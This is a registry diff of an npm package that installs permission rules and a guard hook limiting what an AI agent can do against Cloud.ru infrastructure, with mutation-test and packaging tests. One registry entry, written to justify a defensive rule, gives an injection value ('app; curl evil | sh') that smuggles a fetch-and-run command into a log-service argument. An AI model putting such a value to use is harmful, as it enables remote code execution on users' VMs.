@dzhechkov/cloudru-hub 0.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.dz-manifest.json +105 -0
- package/CHANGELOG.md +130 -0
- package/LICENSE +67 -0
- package/README.md +131 -0
- package/THIRD_PARTY_NOTICES.md +56 -0
- package/bin/cloudru-hub.js +8 -0
- package/data/dialects.json +73 -0
- package/data/pointer-section.md +22 -0
- package/data/tools-classification.json +732 -0
- package/data/tools-list-snapshot.json +585 -0
- package/docs/LOCAL-TESTING.md +77 -0
- package/package.json +67 -0
- package/sbom.json +253 -0
- package/src/classification.js +66 -0
- package/src/cli.js +174 -0
- package/src/dialects.js +172 -0
- package/src/install.js +252 -0
- package/src/resolve.js +101 -0
- package/templates/.claude/hooks/cloudru-ssh-guard.cjs +80 -0
- package/test/classification.test.mjs +151 -0
- package/test/dialects.test.mjs +314 -0
- package/test/hook.test.mjs +67 -0
- package/test/install.test.mjs +145 -0
- package/test/mutation-registry.json +135 -0
- package/test/pack-holds.test.mjs +96 -0
- package/test/resolve.test.mjs +81 -0
|
@@ -0,0 +1,135 @@
|
|
|
1
|
+
{
|
|
2
|
+
"testCommand": "npm test",
|
|
3
|
+
"entries": [
|
|
4
|
+
{
|
|
5
|
+
"id": "brake-sshpass-veto-executes",
|
|
6
|
+
"property": "The ADR-004 paid-step brake VETOES password-SSH to a Cloud.ru VM (sshpass fixture, exit 2) — deleting the regex lets the forbidden command through and the acid tests + the installer's executed probe must see it.",
|
|
7
|
+
"file": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
|
|
8
|
+
"mutation": {
|
|
9
|
+
"find": " if (/sshpass/.test(cmd) && /@\\d+\\.\\d+\\.\\d+\\.\\d+/.test(cmd)) {",
|
|
10
|
+
"replace": " if (false) {"
|
|
11
|
+
},
|
|
12
|
+
"minFailing": 1
|
|
13
|
+
},
|
|
14
|
+
{
|
|
15
|
+
"id": "brake-rollout-hole-stays-closed",
|
|
16
|
+
"property": "kubectl `rollout <mutating-subverb>` via mcp k8s_kubectl is denied on OUR side (the MEASURED upstream classifier hole, 05 §2.3) — disarming the guard re-opens unconfirmed prod restarts.",
|
|
17
|
+
"file": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
|
|
18
|
+
"mutation": {
|
|
19
|
+
"find": " if (m && m[1] !== 'status' && m[1] !== 'history') {",
|
|
20
|
+
"replace": " if (false) {"
|
|
21
|
+
},
|
|
22
|
+
"minFailing": 1
|
|
23
|
+
},
|
|
24
|
+
{
|
|
25
|
+
"id": "brake-ask-rules-cover-every-mutator",
|
|
26
|
+
"property": "Every mutating tool is emitted under permissions.ask — an installer that stops emitting ask rules leaves paid tools one agent-call away (ADR-004 §1).",
|
|
27
|
+
"file": "src/classification.js",
|
|
28
|
+
"mutation": {
|
|
29
|
+
"find": " return { allow: expand(by.allow), ask: expand(by.ask), deny: expand(by.deny) };",
|
|
30
|
+
"replace": " return { allow: expand(by.allow), ask: [], deny: expand(by.deny) };"
|
|
31
|
+
},
|
|
32
|
+
"minFailing": 2
|
|
33
|
+
},
|
|
34
|
+
{
|
|
35
|
+
"id": "zero-upstream-bytes-files-whitelist",
|
|
36
|
+
"property": "files[] is the exact whitelist of OUR artifacts — smuggling an engine dir into the publication contract must be caught by the pack-contents test (ADR-001: zero upstream bytes ship).",
|
|
37
|
+
"file": "package.json",
|
|
38
|
+
"mutation": {
|
|
39
|
+
"find": " \"data/\",",
|
|
40
|
+
"replace": " \"data/\",\n \"native/\","
|
|
41
|
+
},
|
|
42
|
+
"minFailing": 1
|
|
43
|
+
},
|
|
44
|
+
{
|
|
45
|
+
"id": "licence-publishable-state-asserted",
|
|
46
|
+
"property": "Post-grant (ADR-001 AM-2) the pack must REMAIN publishable — a stray private:true would silently kill every future publish while CI stays green, so the publishable-state assertion must go red on it. (The Grant-Confirmation URL protection itself lives in LICENSE, which the gate cannot mutate — extensionless file, no parser; its layer-1 coverage is the pack-holds LICENSE assertions plus the dz guard licence-hold rule, both reading LICENSE directly on every run/publish.)",
|
|
47
|
+
"file": "package.json",
|
|
48
|
+
"mutation": {
|
|
49
|
+
"find": " \"version\": \"0.1.4\",",
|
|
50
|
+
"replace": " \"version\": \"0.1.4\",\n \"private\": true,"
|
|
51
|
+
},
|
|
52
|
+
"minFailing": 1
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
"id": "licence-block-guard-trigger-declared",
|
|
56
|
+
"property": "The dz guard licence-hold rule triggers off package.json.licenseHold — the field deliberately STAYS post-grant (a satisfied hold passes with it in place); deleting it silently disarms the guard's LICENSE/NOTICES/SPDX verification on every future publish and must go red here.",
|
|
57
|
+
"file": "package.json",
|
|
58
|
+
"mutation": {
|
|
59
|
+
"find": " \"licenseHold\": {",
|
|
60
|
+
"replace": " \"licenseHoldDisarmed\": {"
|
|
61
|
+
},
|
|
62
|
+
"minFailing": 1
|
|
63
|
+
},
|
|
64
|
+
{
|
|
65
|
+
"id": "licence-spdx-matches-license-file",
|
|
66
|
+
"property": "package.json.license must equal the SPDX id of the actual LICENSE text (ADR-001 Confirmation: the field may never claim a licence the file does not carry).",
|
|
67
|
+
"file": "package.json",
|
|
68
|
+
"mutation": {
|
|
69
|
+
"find": " \"license\": \"MIT\",",
|
|
70
|
+
"replace": " \"license\": \"Apache-2.0\","
|
|
71
|
+
},
|
|
72
|
+
"minFailing": 1
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
"id": "brake-stack-status-stays-ask",
|
|
76
|
+
"property": "stack_status ADVANCES a planned/running stack job server-side (handleStackStatus tools_stack.go:451 → advance :479-484 → s.callTool :220 invokes provision/pg_create/… — LIVE-REPRODUCED: one call moved a planned job planned→running and attempted provision, stopped only at AUTH_REQUIRED). Flipping it back to allow re-opens the zero-prompt paid chain stack_plan→stack_status and must go red (ADR-004 AM-1, cross-model QE HIGH).",
|
|
77
|
+
"file": "data/tools-classification.json",
|
|
78
|
+
"mutation": {
|
|
79
|
+
"find": "\"stack_status\": {\n \"effect\": \"mutating\",\n \"permission\": \"ask\",",
|
|
80
|
+
"replace": "\"stack_status\": {\n \"effect\": \"mutating\",\n \"permission\": \"allow\","
|
|
81
|
+
},
|
|
82
|
+
"minFailing": 2
|
|
83
|
+
},
|
|
84
|
+
{
|
|
85
|
+
"id": "brake-logs-stays-ask",
|
|
86
|
+
"property": "logs concatenates its user-controlled `service` arg RAW into a remote `docker compose logs <service>` executed over SSH (handleLogs tools.go:1758 → engine/logs.go:61 `cmd += \" \" + opts.Service` → Deployer.Exec logs.go:64 → session.CombinedOutput internal/deploy/ssh.go:117), so service=\"app; curl evil | sh\" is arbitrary RCE on the user's VM. Flipping it back to allow puts a zero-prompt command-injection path behind a SILENT allow and must go red (ADR-004 AM-2, shell-reach hazard axis, cross-model QE HIGH).",
|
|
87
|
+
"file": "data/tools-classification.json",
|
|
88
|
+
"mutation": {
|
|
89
|
+
"find": "\"logs\": {\n \"effect\": \"shell-reach\",\n \"permission\": \"ask\",",
|
|
90
|
+
"replace": "\"logs\": {\n \"effect\": \"shell-reach\",\n \"permission\": \"allow\","
|
|
91
|
+
},
|
|
92
|
+
"minFailing": 2
|
|
93
|
+
},
|
|
94
|
+
{
|
|
95
|
+
"id": "dialect-codename-gate-armed",
|
|
96
|
+
"property": "The compiler's positive codename invariant (no case-insensitive 'hermes' in ANY emitted file) is driven by data/dialects.json forbiddenCodenames — emptying the list disarms the net under the 8-token denylist (which alone let the bare codename survive 5x in the real-corpus compile, MEASURED) and the codename-gate tests must go red.",
|
|
97
|
+
"file": "data/dialects.json",
|
|
98
|
+
"mutation": {
|
|
99
|
+
"find": "\"forbiddenCodenames\": [\"hermes\", \"dzhechko\", \"cloudru-vm-cli\", \"captainkeys\"],",
|
|
100
|
+
"replace": "\"forbiddenCodenames\": [],"
|
|
101
|
+
},
|
|
102
|
+
"minFailing": 2
|
|
103
|
+
},
|
|
104
|
+
{
|
|
105
|
+
"id": "dialect-binary-path-leak-scrubbed",
|
|
106
|
+
"property": "The engine config-dir leak form `.cloudru-vm` (dotted path) is scrubbed to `.cloudru-hub` by a targeted replacement (0.1.3 Variant A) — the bare token is NOT codename-gated because it is also the legitimate MCP server name (\\bcloudru-vm\\b over-blocks the compiler's own injected prose, PROVEN). Disarming the scrub re-ships the path leak with ok=true and the leak-scrub tests must go red.",
|
|
107
|
+
"file": "data/dialects.json",
|
|
108
|
+
"mutation": {
|
|
109
|
+
"find": " { \"find\": \"\\\\.cloudru-vm(?![\\\\w-])\", \"flags\": \"g\", \"replace\": \".cloudru-hub\" },\n { \"find\": \"\\\\bcloudru-vm[ \\\\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\\\b)\", \"flags\": \"g\", \"replace\": \"cloudru-hub \" },\n { \"find\": \"\\\\bdzhechko\\\\b\", \"flags\": \"gi\", \"replace\": \"dzhechkov\" },\n { \"find\": \"captainkeys\", \"flags\": \"gi\", \"replace\": \"user-keys\" }\n ]\n },\n \"codex\": {",
|
|
110
|
+
"replace": " { \"find\": \"\\\\.cloudru-vm-disarmed(?![\\\\w-])\", \"flags\": \"g\", \"replace\": \".cloudru-hub\" },\n { \"find\": \"\\\\bcloudru-vm[ \\\\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\\\b)\", \"flags\": \"g\", \"replace\": \"cloudru-hub \" },\n { \"find\": \"\\\\bdzhechko\\\\b\", \"flags\": \"gi\", \"replace\": \"dzhechkov\" },\n { \"find\": \"captainkeys\", \"flags\": \"gi\", \"replace\": \"user-keys\" }\n ]\n },\n \"codex\": {"
|
|
111
|
+
},
|
|
112
|
+
"minFailing": 2
|
|
113
|
+
},
|
|
114
|
+
{
|
|
115
|
+
"id": "dialect-binary-invocation-leak-scrubbed",
|
|
116
|
+
"property": "The engine CLI-invocation leak form `cloudru-vm <real-engine-verb>` (finite verb set cited from engine cmd/cloudru-vm/main.go AddCommand, lines 53-65) is scrubbed to `cloudru-hub <verb>` without touching the MCP-server prose `cloudru-vm видны` (0.1.3 Variant A). Disarming the scrub re-ships the invocation leak and the leak-scrub + verb-set tests must go red.",
|
|
117
|
+
"file": "data/dialects.json",
|
|
118
|
+
"mutation": {
|
|
119
|
+
"find": " { \"find\": \"\\\\bcloudru-vm[ \\\\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\\\b)\", \"flags\": \"g\", \"replace\": \"cloudru-hub \" },\n { \"find\": \"\\\\bdzhechko\\\\b\", \"flags\": \"gi\", \"replace\": \"dzhechkov\" },\n { \"find\": \"captainkeys\", \"flags\": \"gi\", \"replace\": \"user-keys\" }\n ]\n },\n \"codex\": {",
|
|
120
|
+
"replace": " { \"find\": \"\\\\bcloudru-vm-disarmed[ \\\\t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\\\\b)\", \"flags\": \"g\", \"replace\": \"cloudru-hub \" },\n { \"find\": \"\\\\bdzhechko\\\\b\", \"flags\": \"gi\", \"replace\": \"dzhechkov\" },\n { \"find\": \"captainkeys\", \"flags\": \"gi\", \"replace\": \"user-keys\" }\n ]\n },\n \"codex\": {"
|
|
121
|
+
},
|
|
122
|
+
"minFailing": 2
|
|
123
|
+
},
|
|
124
|
+
{
|
|
125
|
+
"id": "pointer-no-veto-warning-mandatory",
|
|
126
|
+
"property": "The pointer-only section always carries the no-veto warning line (ADR-005: pointer without the warning is an illusion of support).",
|
|
127
|
+
"file": "data/pointer-section.md",
|
|
128
|
+
"mutation": {
|
|
129
|
+
"find": "⚠ ПРЕДУПРЕЖДЕНИЕ:",
|
|
130
|
+
"replace": "Примечание:"
|
|
131
|
+
},
|
|
132
|
+
"minFailing": 1
|
|
133
|
+
}
|
|
134
|
+
]
|
|
135
|
+
}
|
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
// The iron guardrails as layer-1 tests (feature hermes-claude-adaptation) — POST-GRANT state.
|
|
2
|
+
// ADR-001 AM-2 (2026-08-12): the Hermes author's publication approval is recorded
|
|
3
|
+
// (features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md), the hold is
|
|
4
|
+
// SATISFIED. The hold-era protections (private:true, PENDING placeholder, EPRIVATE probe)
|
|
5
|
+
// retired; what must now hold forever:
|
|
6
|
+
// 1. LICENSE carries the recorded grant (Grant-Confirmation URL), honest attribution,
|
|
7
|
+
// and NO fabricated grant wording on the author's behalf.
|
|
8
|
+
// 2. The `licenseHold` trigger field STAYS so the dz guard `licence-hold` rule keeps
|
|
9
|
+
// verifying LICENSE/NOTICES/SPDX on every publish (a satisfied hold passes with it).
|
|
10
|
+
// 3. package.json.license matches the SPDX id of the actual LICENSE text (ADR-001
|
|
11
|
+
// Confirmation), and covers ONLY the owner's code.
|
|
12
|
+
// 4. ZERO upstream engine bytes in the tarball — unchanged.
|
|
13
|
+
// Discrimination: test/mutation-registry.json flips each protection and requires red here.
|
|
14
|
+
import { test } from 'node:test';
|
|
15
|
+
import assert from 'node:assert/strict';
|
|
16
|
+
import fs from 'node:fs';
|
|
17
|
+
import path from 'node:path';
|
|
18
|
+
import { execFileSync } from 'node:child_process';
|
|
19
|
+
import { fileURLToPath } from 'node:url';
|
|
20
|
+
|
|
21
|
+
const pkgDir = path.join(path.dirname(fileURLToPath(import.meta.url)), '..');
|
|
22
|
+
const pkg = JSON.parse(fs.readFileSync(path.join(pkgDir, 'package.json'), 'utf8'));
|
|
23
|
+
const license = fs.readFileSync(path.join(pkgDir, 'LICENSE'), 'utf8');
|
|
24
|
+
|
|
25
|
+
const PENDING_MARKER = '<!-- PENDING:';
|
|
26
|
+
|
|
27
|
+
test('LICENSE is post-grant and honest: no PENDING placeholder, grant recorded with a confirmation link, no fabricated grant wording', () => {
|
|
28
|
+
assert.ok(license.length > 400);
|
|
29
|
+
assert.ok(license.includes('MIT License'), 'owner code is MIT');
|
|
30
|
+
assert.ok(license.includes('Dmitry Zhechkov'), 'owner copyright line');
|
|
31
|
+
assert.ok(!license.includes(PENDING_MARKER), 'the PENDING placeholder must be gone post-grant');
|
|
32
|
+
assert.match(license, /GRANT RECORDED/, 'the grant record paragraph exists');
|
|
33
|
+
assert.match(license, /Grant-Confirmation:\s*https?:\/\/\S+/, 'the Grant-Confirmation line carries a URL (dz guard licence-hold requires it)');
|
|
34
|
+
assert.match(license, /owner-attested/, 'honesty: the approval is stated as owner-attested, not as a written artifact we do not hold');
|
|
35
|
+
assert.ok(!/Hermes author(.|\n){0,120}hereby grants/i.test(license), 'no fabricated grant wording');
|
|
36
|
+
assert.ok(!/hereby grants/i.test(license), 'no grant-deed language fabricated on anyone’s behalf');
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
test('LICENSE attribution chain (owner condition + ADR-001 AM-1): engine additions credited to their author, CLI foundation to the owner, zero engine bytes', () => {
|
|
40
|
+
assert.ok(license.includes('Тимур'), 'the Hermes engine author is credited by name');
|
|
41
|
+
assert.match(license, /ZERO bytes of the engine additions|ZERO bytes of them/, 'zero-engine-bytes statement present');
|
|
42
|
+
assert.match(license, /nothing in this file grants any\s+third party rights to the engine additions/, 'no rights to engine additions are granted by this LICENSE');
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
test('the licenseHold trigger for the dz guard rule STAYS declared post-grant (satisfied hold passes with it in place)', () => {
|
|
46
|
+
assert.ok(pkg.licenseHold && typeof pkg.licenseHold === 'object', 'licenseHold field present — deleting it disarms the guard layer');
|
|
47
|
+
assert.match(pkg.licenseHold.adr, /001-licence-and-provenance-precondition/);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
test('package.json.license matches the SPDX id of the actual LICENSE text (ADR-001 Confirmation), and the pack is publishable', () => {
|
|
51
|
+
assert.ok(license.includes('MIT License'), 'LICENSE Part 1 is the MIT text');
|
|
52
|
+
assert.equal(pkg.license, 'MIT', 'license field must equal the SPDX id of the LICENSE file');
|
|
53
|
+
assert.notEqual(pkg.private, true, 'post-grant the pack must be publishable');
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
test('THIRD_PARTY_NOTICES.md exists, non-empty, and preserves the MinIO Apache-2.0 NOTICE (ADR-001 point 4)', () => {
|
|
57
|
+
const notices = fs.readFileSync(path.join(pkgDir, 'THIRD_PARTY_NOTICES.md'), 'utf8');
|
|
58
|
+
assert.ok(notices.length > 400);
|
|
59
|
+
for (const dep of ['minio-go', 'cobra', 'golang.org/x/crypto', 'yaml.v3']) assert.ok(notices.includes(dep), dep);
|
|
60
|
+
assert.ok(notices.includes('MinIO Project'), 'MinIO NOTICE preserved');
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
test('files[] is the explicit whitelist — no globs, no engine paths (files[] = silent publication contract)', () => {
|
|
64
|
+
assert.deepEqual(pkg.files, [
|
|
65
|
+
'bin/', 'src/', 'templates/', 'data/', 'docs/', 'test/',
|
|
66
|
+
'README.md', 'CHANGELOG.md', 'LICENSE', 'THIRD_PARTY_NOTICES.md', '.dz-manifest.json', 'sbom.json',
|
|
67
|
+
]);
|
|
68
|
+
for (const entry of pkg.files) {
|
|
69
|
+
assert.ok(!/native|engine|skill\//.test(entry), `files[] entry "${entry}" looks like an engine path`);
|
|
70
|
+
assert.ok(!entry.includes('*'), 'no globs');
|
|
71
|
+
}
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
test('npm pack --dry-run: the tarball contains ZERO upstream engine bytes (no ELF, no Go sources, no engine binary name)', () => {
|
|
75
|
+
const out = execFileSync('npm', ['pack', '--dry-run', '--json'], { cwd: pkgDir, encoding: 'utf8', timeout: 60_000 });
|
|
76
|
+
const report = JSON.parse(out);
|
|
77
|
+
const entries = report[0].files.map((f) => f.path);
|
|
78
|
+
assert.ok(entries.length > 10, 'tarball is non-trivial');
|
|
79
|
+
for (const rel of entries) {
|
|
80
|
+
assert.ok(!/\.go$/.test(rel), `Go source in tarball: ${rel}`);
|
|
81
|
+
assert.ok(!/(^|\/)cloudru-vm$/.test(rel), `engine binary name in tarball: ${rel}`);
|
|
82
|
+
assert.ok(!/(^|\/)(native|engine|engine-build)(\/|$)/.test(rel), `engine dir in tarball: ${rel}`);
|
|
83
|
+
const full = path.join(pkgDir, rel);
|
|
84
|
+
if (fs.existsSync(full) && fs.statSync(full).isFile() && fs.statSync(full).size >= 4) {
|
|
85
|
+
const fd = fs.openSync(full, 'r');
|
|
86
|
+
const head = Buffer.alloc(4);
|
|
87
|
+
fs.readSync(fd, head, 0, 4, 0);
|
|
88
|
+
fs.closeSync(fd);
|
|
89
|
+
assert.ok(!head.equals(Buffer.from([0x7f, 0x45, 0x4c, 0x46])), `ELF binary in tarball: ${rel}`);
|
|
90
|
+
}
|
|
91
|
+
}
|
|
92
|
+
// spot-check the deliverables that MUST be in the tarball
|
|
93
|
+
for (const must of ['LICENSE', 'THIRD_PARTY_NOTICES.md', 'bin/cloudru-hub.js', 'templates/.claude/hooks/cloudru-ssh-guard.cjs', 'data/tools-classification.json']) {
|
|
94
|
+
assert.ok(entries.includes(must), `${must} missing from tarball`);
|
|
95
|
+
}
|
|
96
|
+
});
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
// Engine resolution tests — ADR-002: runtime resolution, sha256 pin, loud esbuild-style error.
|
|
2
|
+
import { test } from 'node:test';
|
|
3
|
+
import assert from 'node:assert/strict';
|
|
4
|
+
import fs from 'node:fs';
|
|
5
|
+
import os from 'node:os';
|
|
6
|
+
import path from 'node:path';
|
|
7
|
+
import crypto from 'node:crypto';
|
|
8
|
+
import { createRequire } from 'node:module';
|
|
9
|
+
|
|
10
|
+
const require = createRequire(import.meta.url);
|
|
11
|
+
const { resolveEngine, sha256File, platformKey } = require('../src/resolve.js');
|
|
12
|
+
const PKG = require('../package.json');
|
|
13
|
+
|
|
14
|
+
const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-resolve-'));
|
|
15
|
+
|
|
16
|
+
test('env CLOUDRU_VM_BIN wins and is hashed; a non-pinned file reports verified:false but resolves', () => {
|
|
17
|
+
const dir = tmp();
|
|
18
|
+
const fake = path.join(dir, 'cloudru-vm');
|
|
19
|
+
fs.writeFileSync(fake, 'fake-engine-bytes');
|
|
20
|
+
const r = resolveEngine({ CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') });
|
|
21
|
+
assert.equal(r.path, fake);
|
|
22
|
+
assert.equal(r.source, 'env');
|
|
23
|
+
assert.equal(r.sha256, crypto.createHash('sha256').update('fake-engine-bytes').digest('hex'));
|
|
24
|
+
assert.equal(r.verified, false);
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
test('a file matching the pinned baseline hash reports verified:true', () => {
|
|
28
|
+
// Only meaningful on linux-x64 (the single pinned platform, ADR-002 point 4).
|
|
29
|
+
const key = platformKey();
|
|
30
|
+
const pinned = PKG.cloudruHub.binaryHashes[key];
|
|
31
|
+
if (!pinned) return; // other platforms have no pin — nothing to verify here
|
|
32
|
+
const dir = tmp();
|
|
33
|
+
const fake = path.join(dir, 'cloudru-vm');
|
|
34
|
+
fs.writeFileSync(fake, 'x');
|
|
35
|
+
const r = resolveEngine({ CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') });
|
|
36
|
+
assert.equal(r.verified, r.sha256 === pinned);
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
test('config enginePath is used when env is unset', () => {
|
|
40
|
+
const dir = tmp();
|
|
41
|
+
const fake = path.join(dir, 'engine');
|
|
42
|
+
fs.writeFileSync(fake, 'config-engine');
|
|
43
|
+
const cfg = path.join(dir, 'config.json');
|
|
44
|
+
fs.writeFileSync(cfg, JSON.stringify({ enginePath: fake }));
|
|
45
|
+
const r = resolveEngine({ CLOUDRU_HUB_CONFIG: cfg });
|
|
46
|
+
assert.equal(r.source, 'config');
|
|
47
|
+
assert.equal(r.path, fake);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
test('nothing resolvable → loud error naming all three paths and the platform-package status', () => {
|
|
51
|
+
const dir = tmp();
|
|
52
|
+
const r = resolveEngine({ CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
|
|
53
|
+
assert.ok(r.error);
|
|
54
|
+
assert.match(r.error, /CLOUDRU_VM_BIN/);
|
|
55
|
+
assert.match(r.error, /enginePath/);
|
|
56
|
+
assert.match(r.error, /never bundled/);
|
|
57
|
+
// post-grant (ADR-001 AM-2) the missing platform package awaits its ADR-002 trusted-CI
|
|
58
|
+
// build — it is no longer a licence hold, and the error must say so honestly.
|
|
59
|
+
assert.match(r.error, /ADR-002 trusted-CI/);
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
test('a dangling env path falls through to the error, not a crash', () => {
|
|
63
|
+
const dir = tmp();
|
|
64
|
+
const r = resolveEngine({ CLOUDRU_VM_BIN: path.join(dir, 'nope'), CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
|
|
65
|
+
assert.ok(r.error);
|
|
66
|
+
assert.match(r.error, /set, but not a file/);
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
test('sha256File matches node crypto', () => {
|
|
70
|
+
const dir = tmp();
|
|
71
|
+
const f = path.join(dir, 'f');
|
|
72
|
+
fs.writeFileSync(f, 'abc');
|
|
73
|
+
assert.equal(sha256File(f), crypto.createHash('sha256').update('abc').digest('hex'));
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
test('the pinned linux-x64 hash is the ADR-002 measured engine sha256', () => {
|
|
77
|
+
assert.equal(
|
|
78
|
+
PKG.cloudruHub.binaryHashes['linux-x64'],
|
|
79
|
+
'59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124',
|
|
80
|
+
);
|
|
81
|
+
});
|